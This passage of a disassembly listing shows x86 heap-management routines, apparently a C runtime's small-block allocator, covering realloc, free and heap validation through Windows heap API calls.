sub_4239F8 jmp short loc_423A03 sub_423830 endp ; =============== S U B R O U T I N E ======================================= sub_4239F8 proc near ; CODE XREF: sub_423830+1C1p ; DATA XREF: _1:0043D080o push 9 call sub_423320 add esp, 4 retn sub_4239F8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423830 loc_423A03: ; CODE XREF: sub_423830+1C6j cmp [ebp+var_28], 0 jnz short loc_423A3C cmp [ebp+arg_4], 0 jnz short loc_423A16 mov [ebp+arg_4], 1 loc_423A16: ; CODE XREF: sub_423830+1DDj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_24], eax loc_423A3C: ; CODE XREF: sub_423830+71j ; sub_423830+1D7j cmp [ebp+var_24], 0 jnz short loc_423A4B cmp ds:dword_4F3374, 0 jnz short loc_423A53 loc_423A4B: ; CODE XREF: sub_423830+210j mov eax, [ebp+var_24] jmp loc_423CB2 ; --------------------------------------------------------------------------- loc_423A53: ; CODE XREF: sub_423830+219j mov edx, [ebp+arg_4] push edx call sub_423170 add esp, 4 test eax, eax jnz short loc_423A6A xor eax, eax jmp loc_423CB2 ; --------------------------------------------------------------------------- loc_423A6A: ; CODE XREF: sub_423830+231j jmp loc_423896 ; --------------------------------------------------------------------------- loc_423A6F: ; CODE XREF: sub_423830+60j cmp ds:dword_4F39EC, 2 jnz loc_423C4A cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_423A9C cmp [ebp+arg_4], 0 jbe short loc_423A95 mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax jmp short loc_423A9C ; --------------------------------------------------------------------------- loc_423A95: ; CODE XREF: sub_423830+256j mov [ebp+arg_4], 10h loc_423A9C: ; CODE XREF: sub_423830+250j ; sub_423830+263j ... mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_423C1A push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 1 lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_38] push edx mov eax, [ebp+arg_0] push eax call sub_426110 add esp, 0Ch mov [ebp+var_30], eax cmp [ebp+var_30], 0 jz loc_423BE7 mov ecx, [ebp+arg_4] cmp ecx, ds:dword_453BDC jnb loc_423B78 mov edx, [ebp+arg_4] shr edx, 4 push edx mov eax, [ebp+var_30] push eax mov ecx, [ebp+var_2C] push ecx mov edx, [ebp+var_38] push edx call sub_426880 add esp, 10h test eax, eax jz short loc_423B15 mov eax, [ebp+arg_0] mov [ebp+var_24], eax jmp short loc_423B78 ; --------------------------------------------------------------------------- loc_423B15: ; CODE XREF: sub_423830+2DBj mov ecx, [ebp+arg_4] shr ecx, 4 push ecx call sub_426210 add esp, 4 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_423B78 mov edx, [ebp+var_30] xor eax, eax mov al, [edx] shl eax, 4 mov [ebp+var_34], eax mov ecx, [ebp+var_34] cmp ecx, [ebp+arg_4] jnb short loc_423B4A mov edx, [ebp+var_34] mov [ebp+var_44], edx jmp short loc_423B50 ; --------------------------------------------------------------------------- loc_423B4A: ; CODE XREF: sub_423830+310j mov eax, [ebp+arg_4] mov [ebp+var_44], eax loc_423B50: ; CODE XREF: sub_423830+318j mov ecx, [ebp+var_44] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_24] push eax call sub_41FBF0 add esp, 0Ch mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+var_38] push eax call sub_4261A0 add esp, 0Ch loc_423B78: ; CODE XREF: sub_423830+2B8j ; sub_423830+2E3j ... cmp [ebp+var_24], 0 jnz short loc_423BE5 mov ecx, [ebp+arg_4] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5418 ; RtlAllocateHeap mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_423BE5 mov eax, [ebp+var_30] xor ecx, ecx mov cl, [eax] shl ecx, 4 mov [ebp+var_34], ecx mov edx, [ebp+var_34] cmp edx, [ebp+arg_4] jnb short loc_423BB7 mov eax, [ebp+var_34] mov [ebp+var_48], eax jmp short loc_423BBD ; --------------------------------------------------------------------------- loc_423BB7: ; CODE XREF: sub_423830+37Dj mov ecx, [ebp+arg_4] mov [ebp+var_48], ecx loc_423BBD: ; CODE XREF: sub_423830+385j mov edx, [ebp+var_48] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_24] push ecx call sub_41FBF0 add esp, 0Ch mov edx, [ebp+var_30] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_38] push ecx call sub_4261A0 add esp, 0Ch loc_423BE5: ; CODE XREF: sub_423830+34Cj ; sub_423830+368j jmp short loc_423C01 ; --------------------------------------------------------------------------- loc_423BE7: ; CODE XREF: sub_423830+2A9j mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_24], eax loc_423C01: ; CODE XREF: sub_423830:loc_423BE5j mov [ebp+var_4], 0FFFFFFFFh call sub_423C0F jmp short loc_423C1A ; END OF FUNCTION CHUNK FOR sub_423830 ; =============== S U B R O U T I N E ======================================= sub_423C0F proc near ; CODE XREF: sub_423830+3D8p ; DATA XREF: _1:0043D08Co push 9 call sub_423320 add esp, 4 retn sub_423C0F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423830 loc_423C1A: ; CODE XREF: sub_423830+277j ; sub_423830+3DDj cmp [ebp+var_24], 0 jnz short loc_423C29 cmp ds:dword_4F3374, 0 jnz short loc_423C31 loc_423C29: ; CODE XREF: sub_423830+3EEj mov eax, [ebp+var_24] jmp loc_423CB2 ; --------------------------------------------------------------------------- loc_423C31: ; CODE XREF: sub_423830+3F7j mov edx, [ebp+arg_4] push edx call sub_423170 add esp, 4 test eax, eax jnz short loc_423C45 xor eax, eax jmp short loc_423CB2 ; --------------------------------------------------------------------------- loc_423C45: ; CODE XREF: sub_423830+40Fj jmp loc_423A9C ; --------------------------------------------------------------------------- loc_423C4A: ; CODE XREF: sub_423830+246j ; sub_423830:loc_423CB0j mov [ebp+var_24], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja short loc_423C88 cmp [ebp+arg_4], 0 jnz short loc_423C64 mov [ebp+arg_4], 1 loc_423C64: ; CODE XREF: sub_423830+42Bj mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_24], eax loc_423C88: ; CODE XREF: sub_423830+425j cmp [ebp+var_24], 0 jnz short loc_423C97 cmp ds:dword_4F3374, 0 jnz short loc_423C9C loc_423C97: ; CODE XREF: sub_423830+45Cj mov eax, [ebp+var_24] jmp short loc_423CB2 ; --------------------------------------------------------------------------- loc_423C9C: ; CODE XREF: sub_423830+465j mov ecx, [ebp+arg_4] push ecx call sub_423170 add esp, 4 test eax, eax jnz short loc_423CB0 xor eax, eax jmp short loc_423CB2 ; --------------------------------------------------------------------------- loc_423CB0: ; CODE XREF: sub_423830+47Aj jmp short loc_423C4A ; --------------------------------------------------------------------------- loc_423CB2: ; CODE XREF: sub_423830+3Bj ; sub_423830+54j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423830 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CD0 proc near ; CODE XREF: sub_41CA80+26Ep ; sub_41CA80+3B2p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00423D56 SIZE 00000077 BYTES ; FUNCTION CHUNK AT 00423DD8 SIZE 0000003E BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D090 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE8h push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_423CFE jmp loc_423E05 ; --------------------------------------------------------------------------- loc_423CFE: ; CODE XREF: sub_423CD0+27j cmp ds:dword_4F39EC, 3 jnz short loc_423D74 push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call sub_4240F0 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_423D3D mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1C] push edx call sub_4241B0 add esp, 8 loc_423D3D: ; CODE XREF: sub_423CD0+5Bj mov [ebp+var_4], 0FFFFFFFFh call sub_423D4B jmp short loc_423D56 sub_423CD0 endp ; =============== S U B R O U T I N E ======================================= sub_423D4B proc near ; CODE XREF: sub_423CD0+74p ; DATA XREF: _1:0043D098o push 9 call sub_423320 add esp, 4 retn sub_423D4B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CD0 loc_423D56: ; CODE XREF: sub_423CD0+79j cmp [ebp+var_1C], 0 jnz short loc_423D6F mov eax, [ebp+arg_0] push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F5414 ; RtlFreeHeap loc_423D6F: ; CODE XREF: sub_423CD0+8Aj jmp loc_423E05 ; --------------------------------------------------------------------------- loc_423D74: ; CODE XREF: sub_423CD0+35j cmp ds:dword_4F39EC, 2 jnz short loc_423DF2 push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_20] push edx lea eax, [ebp+var_28] push eax mov ecx, [ebp+arg_0] push ecx call sub_426110 add esp, 0Ch mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz short loc_423DBF mov edx, [ebp+var_24] push edx mov eax, [ebp+var_20] push eax mov ecx, [ebp+var_28] push ecx call sub_4261A0 add esp, 0Ch loc_423DBF: ; CODE XREF: sub_423CD0+D9j mov [ebp+var_4], 0FFFFFFFFh call sub_423DCD jmp short loc_423DD8 ; END OF FUNCTION CHUNK FOR sub_423CD0 ; =============== S U B R O U T I N E ======================================= sub_423DCD proc near ; CODE XREF: sub_423CD0+F6p ; DATA XREF: _1:0043D0A4o push 9 call sub_423320 add esp, 4 retn sub_423DCD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CD0 loc_423DD8: ; CODE XREF: sub_423CD0+FBj cmp [ebp+var_24], 0 jnz short loc_423DF0 mov edx, [ebp+arg_0] push edx push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5414 ; RtlFreeHeap loc_423DF0: ; CODE XREF: sub_423CD0+10Cj jmp short loc_423E05 ; --------------------------------------------------------------------------- loc_423DF2: ; CODE XREF: sub_423CD0+ABj mov ecx, [ebp+arg_0] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5414 ; RtlFreeHeap loc_423E05: ; CODE XREF: sub_423CD0+29j ; sub_423CD0:loc_423D6Fj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423CD0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E20 proc near ; CODE XREF: sub_41D1D0+4Ap ; _0:00423F33p var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423E8D SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00423ED2 SIZE 00000052 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D0A8 push offset sub_423364 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFF4h push ebx push esi push edi mov [ebp+var_1C], 0FFFFFFFEh cmp ds:dword_4F39EC, 3 jnz short loc_423E8F push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 0 call sub_4256F0 test eax, eax jge short loc_423E74 mov [ebp+var_1C], 0FFFFFFFCh loc_423E74: ; CODE XREF: sub_423E20+4Bj mov [ebp+var_4], 0FFFFFFFFh call sub_423E82 jmp short loc_423E8D sub_423E20 endp ; =============== S U B R O U T I N E ======================================= sub_423E82 proc near ; CODE XREF: sub_423E20+5Bp ; DATA XREF: _1:0043D0B0o push 9 call sub_423320 add esp, 4 retn sub_423E82 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E20 loc_423E8D: ; CODE XREF: sub_423E20+60j jmp short loc_423ED2 ; --------------------------------------------------------------------------- loc_423E8F: ; CODE XREF: sub_423E20+31j cmp ds:dword_4F39EC, 2 jnz short loc_423ED2 push 9 call sub_423280 add esp, 4 mov [ebp+var_4], 1 call sub_4269F0 test eax, eax jge short loc_423EB9 mov [ebp+var_1C], 0FFFFFFFCh loc_423EB9: ; CODE XREF: sub_423E20+90j mov [ebp+var_4], 0FFFFFFFFh call sub_423EC7 jmp short loc_423ED2 ; END OF FUNCTION CHUNK FOR sub_423E20 ; =============== S U B R O U T I N E ======================================= sub_423EC7 proc near ; CODE XREF: sub_423E20+A0p ; DATA XREF: _1:0043D0BCo push 9 call sub_423320 add esp, 4 retn sub_423EC7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E20 loc_423ED2: ; CODE XREF: sub_423E20:loc_423E8Dj ; sub_423E20+76j ... push 0 push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5474 ; HeapValidate test eax, eax jnz short loc_423F10 call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_423F09 call sub_429AA0 mov dword ptr [eax], 78h call sub_429A90 mov dword ptr [eax], 28h jmp short loc_423F10 ; --------------------------------------------------------------------------- loc_423F09: ; CODE XREF: sub_423E20+CFj mov [ebp+var_1C], 0FFFFFFFCh loc_423F10: ; CODE XREF: sub_423E20+C4j ; sub_423E20+E7j mov eax, [ebp+var_1C] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423E20 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_423E20 pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp ds:dword_4F39EC, 3 jnz short loc_423F53 mov eax, ds:dword_4F3A0C jmp short loc_423F65 ; --------------------------------------------------------------------------- loc_423F53: ; CODE XREF: _0:00423F4Aj cmp ds:dword_4F39EC, 2 jnz short loc_423F63 mov eax, ds:dword_453BDC jmp short loc_423F65 ; --------------------------------------------------------------------------- loc_423F63: ; CODE XREF: _0:00423F5Aj xor eax, eax loc_423F65: ; CODE XREF: _0:00423F51j _0:00423F61j pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp ds:dword_4F39EC, 3 jnz short loc_423F9F cmp dword ptr [ebp+8], 3F8h ja short loc_423F98 mov eax, [ebp+8] mov ds:dword_4F3A0C, eax mov eax, 1 jmp loc_424076 ; --------------------------------------------------------------------------- loc_423F98: ; CODE XREF: _0:00423F84j xor eax, eax jmp loc_424076 ; --------------------------------------------------------------------------- loc_423F9F: ; CODE XREF: _0:00423F7Bj cmp ds:dword_4F39EC, 2 jnz short loc_423FD7 mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_423FD0 mov edx, [ebp+8] mov ds:dword_453BDC, edx mov eax, 1 jmp loc_424076 ; --------------------------------------------------------------------------- loc_423FD0: ; CODE XREF: _0:00423FBBj xor eax, eax jmp loc_424076 ; --------------------------------------------------------------------------- loc_423FD7: ; CODE XREF: _0:00423FA6j cmp ds:dword_4F39EC, 1 jnz loc_424074 cmp dword ptr [ebp+8], 0 jbe loc_424074 lea eax, [ebp-4] push eax call sub_426C30 add esp, 4 mov ecx, [ebp-4] and ecx, 0FFh cmp ecx, 6 jl short loc_42403C cmp dword ptr [ebp+8], 3F8h ja short loc_42403A mov edx, [ebp+8] push edx call sub_424080 add esp, 4 test eax, eax jz short loc_42403A mov eax, [ebp+8] mov ds:dword_4F3A0C, eax mov ds:dword_4F39EC, 3 mov eax, 1 jmp short loc_424076 ; --------------------------------------------------------------------------- loc_42403A: ; CODE XREF: _0:0042400Fj _0:0042401Fj jmp short loc_424074 ; --------------------------------------------------------------------------- loc_42403C: ; CODE XREF: _0:00424006j mov ecx, [ebp+8] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+8], ecx cmp dword ptr [ebp+8], 780h ja short loc_424074 call sub_425D50 test eax, eax jz short loc_424074 mov edx, [ebp+8] mov ds:dword_453BDC, edx mov ds:dword_4F39EC, 2 mov eax, 1 jmp short loc_424076 ; --------------------------------------------------------------------------- loc_424074: ; CODE XREF: _0:00423FDEj _0:00423FE8j ... xor eax, eax loc_424076: ; CODE XREF: _0:00423F93j _0:00423F9Aj ... mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424080 proc near ; CODE XREF: _0:00424015p ; sub_426EC0+44p arg_0 = dword ptr 8 push ebp mov ebp, esp push 140h push 0 mov eax, ds:dword_4F39E8 push eax call ds:dword_4F5418 ; RtlAllocateHeap mov ds:dword_4F3A08, eax cmp ds:dword_4F3A08, 0 jnz short loc_4240A8 xor eax, eax jmp short loc_4240E0 ; --------------------------------------------------------------------------- loc_4240A8: ; CODE XREF: sub_424080+22j mov ecx, [ebp+arg_0] mov ds:dword_4F3A0C, ecx mov edx, ds:dword_4F3A08 mov ds:dword_4F39F8, edx mov ds:dword_4F3A00, 0 mov ds:dword_4F3A04, 0 mov ds:dword_4F39F0, 10h mov eax, 1 loc_4240E0: ; CODE XREF: sub_424080+26j pop ebp retn sub_424080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4240F0 proc near ; CODE XREF: sub_41D6B0+41p ; sub_423620+52p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4F3A04 imul eax, 14h mov ecx, ds:dword_4F3A08 add ecx, eax mov [ebp+var_C], ecx mov edx, ds:dword_4F3A08 mov [ebp+var_8], edx loc_424112: ; CODE XREF: sub_4240F0+4Dj mov eax, [ebp+var_8] cmp eax, [ebp+var_C] jnb short loc_42413F mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] sub edx, [ecx+0Ch] mov [ebp+var_4], edx cmp [ebp+var_4], 100000h jnb short loc_424134 mov eax, [ebp+var_8] jmp short loc_424141 ; --------------------------------------------------------------------------- loc_424134: ; CODE XREF: sub_4240F0+3Dj mov eax, [ebp+var_8] add eax, 14h mov [ebp+var_8], eax jmp short loc_424112 ; --------------------------------------------------------------------------- loc_42413F: ; CODE XREF: sub_4240F0+28j xor eax, eax loc_424141: ; CODE XREF: sub_4240F0+42j mov esp, ebp pop ebp retn sub_4240F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424150 proc near ; CODE XREF: sub_41D6B0+5Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_8], ecx mov edx, [ebp+var_8] shr edx, 0Fh mov [ebp+var_4], edx mov eax, 80000000h mov ecx, [ebp+var_4] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, eax test edx, edx jnz short loc_4241A1 mov eax, [ebp+var_8] and eax, 0Fh test eax, eax jnz short loc_4241A1 mov ecx, [ebp+var_8] and ecx, 0FFFh test ecx, ecx jz short loc_4241A1 mov [ebp+var_C], 1 jmp short loc_4241A8 ; --------------------------------------------------------------------------- loc_4241A1: ; CODE XREF: sub_424150+2Fj ; sub_424150+39j ... mov [ebp+var_C], 0 loc_4241A8: ; CODE XREF: sub_424150+4Fj mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_424150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4241B0 proc near ; CODE XREF: sub_423830+132p ; sub_423830+1B2p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_3C], ecx mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] sub eax, [edx+0Ch] mov [ebp+var_10], eax mov ecx, [ebp+var_10] shr ecx, 0Fh mov [ebp+var_4], ecx mov edx, [ebp+var_4] imul edx, 204h mov eax, [ebp+var_3C] lea ecx, [eax+edx+144h] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] sub edx, 4 mov [ebp+var_1C], edx mov eax, [ebp+var_1C] mov ecx, [eax] sub ecx, 1 mov [ebp+var_30], ecx mov edx, [ebp+var_30] and edx, 1 test edx, edx jz short loc_42420D jmp loc_424788 ; --------------------------------------------------------------------------- loc_42420D: ; CODE XREF: sub_4241B0+56j mov eax, [ebp+var_1C] add eax, [ebp+var_30] mov [ebp+var_38], eax mov ecx, [ebp+var_38] mov edx, [ecx] mov [ebp+var_14], edx mov eax, [ebp+var_1C] mov ecx, [eax-4] mov [ebp+var_C], ecx mov edx, [ebp+var_14] and edx, 1 test edx, edx jnz loc_424357 mov eax, [ebp+var_14] sar eax, 4 sub eax, 1 mov [ebp+var_24], eax cmp [ebp+var_24], 3Fh jbe short loc_42424E mov [ebp+var_24], 3Fh loc_42424E: ; CODE XREF: sub_4241B0+95j mov ecx, [ebp+var_38] mov edx, [ebp+var_38] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_424330 cmp [ebp+var_24], 20h jnb short loc_4242C5 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_24] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_4242C3 mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_4242C3: ; CODE XREF: sub_4241B0+F9j jmp short loc_424330 ; --------------------------------------------------------------------------- loc_4242C5: ; CODE XREF: sub_4241B0+B4j mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_24] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_24] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_424330 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_424330: ; CODE XREF: sub_4241B0+AAj ; sub_4241B0:loc_4242C3j ... mov ecx, [ebp+var_38] mov edx, [ecx+8] mov eax, [ebp+var_38] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_38] mov eax, [edx+4] mov ecx, [ebp+var_38] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_30] add eax, [ebp+var_14] mov [ebp+var_30], eax loc_424357: ; CODE XREF: sub_4241B0+7Fj mov ecx, [ebp+var_30] sar ecx, 4 sub ecx, 1 mov [ebp+var_28], ecx cmp [ebp+var_28], 3Fh jbe short loc_424370 mov [ebp+var_28], 3Fh loc_424370: ; CODE XREF: sub_4241B0+1B7j mov edx, [ebp+var_C] and edx, 1 test edx, edx jnz loc_4244D4 mov eax, [ebp+var_1C] sub eax, [ebp+var_C] mov [ebp+var_34], eax mov ecx, [ebp+var_C] sar ecx, 4 sub ecx, 1 mov [ebp+var_2C], ecx cmp [ebp+var_2C], 3Fh jbe short loc_4243A0 mov [ebp+var_2C], 3Fh loc_4243A0: ; CODE XREF: sub_4241B0+1E7j mov edx, [ebp+var_30] add edx, [ebp+var_C] mov [ebp+var_30], edx mov eax, [ebp+var_30] sar eax, 4 sub eax, 1 mov [ebp+var_28], eax cmp [ebp+var_28], 3Fh jbe short loc_4243C2 mov [ebp+var_28], 3Fh loc_4243C2: ; CODE XREF: sub_4241B0+209j mov ecx, [ebp+var_2C] cmp ecx, [ebp+var_28] jz loc_4244CE mov edx, [ebp+var_34] mov eax, [ebp+var_34] mov ecx, [edx+4] cmp ecx, [eax+8] jnz loc_4244B0 cmp [ebp+var_2C], 20h jnb short loc_424445 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_3C] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_3C] add edx, [ebp+var_2C] mov [edx+4], cl mov eax, [ebp+var_3C] add eax, [ebp+var_2C] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_424443 mov edx, 80000000h mov ecx, [ebp+var_2C] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_424443: ; CODE XREF: sub_4241B0+279j jmp short loc_4244B0 ; --------------------------------------------------------------------------- loc_424445: ; CODE XREF: sub_4241B0+234j mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_3C] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_3C] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_2C] mov [eax+4], dl mov ecx, [ebp+var_3C] add ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_4244B0 mov ecx, [ebp+var_2C] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4244B0: ; CODE XREF: sub_4241B0+22Aj ; sub_4241B0:loc_424443j ... mov ecx, [ebp+var_34] mov edx, [ecx+8] mov eax, [ebp+var_34] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov ecx, [ebp+var_34] mov edx, [ecx+8] mov [eax+8], edx loc_4244CE: ; CODE XREF: sub_4241B0+218j mov eax, [ebp+var_34] mov [ebp+var_1C], eax loc_4244D4: ; CODE XREF: sub_4241B0+1C8j mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jnz short loc_4244EA mov edx, [ebp+var_2C] cmp edx, [ebp+var_28] jz loc_4245FA loc_4244EA: ; CODE XREF: sub_4241B0+32Cj mov eax, [ebp+var_28] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_20], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] mov [eax+8], ecx mov edx, [ebp+var_20] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+var_1C] mov edx, [ecx+4] mov eax, [ebp+var_1C] mov [edx+8], eax mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_4245FA cmp [ebp+var_28], 20h jnb short loc_424593 mov ecx, [ebp+var_3C] add ecx, [ebp+var_28] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_3C] add eax, [ebp+var_28] mov [eax+4], cl test edx, edx jnz short loc_424571 mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl mov eax, 